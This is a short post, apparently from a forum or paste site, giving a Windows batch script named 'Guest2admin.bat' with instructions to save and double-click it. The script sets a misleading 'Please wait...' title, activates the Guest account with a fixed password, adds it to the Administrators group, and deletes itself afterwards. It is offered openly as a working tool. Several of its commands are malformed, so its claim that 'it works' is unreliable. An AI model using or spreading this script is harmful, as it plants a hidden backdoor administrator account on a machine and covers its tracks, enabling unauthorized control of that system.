echo off  title Please wait...  cls  net user add Username Password /add  net user localgroup Administrators Username /add  net user Guest 420 /active:yes  net localgroup Guests Guest /DELETE  net localgroup Administrators Guest /add  del %0    Copy this to notepad and save the file as "Guest2admin.bat"  then u can double click the file to execute or run in the cmd.  it works...
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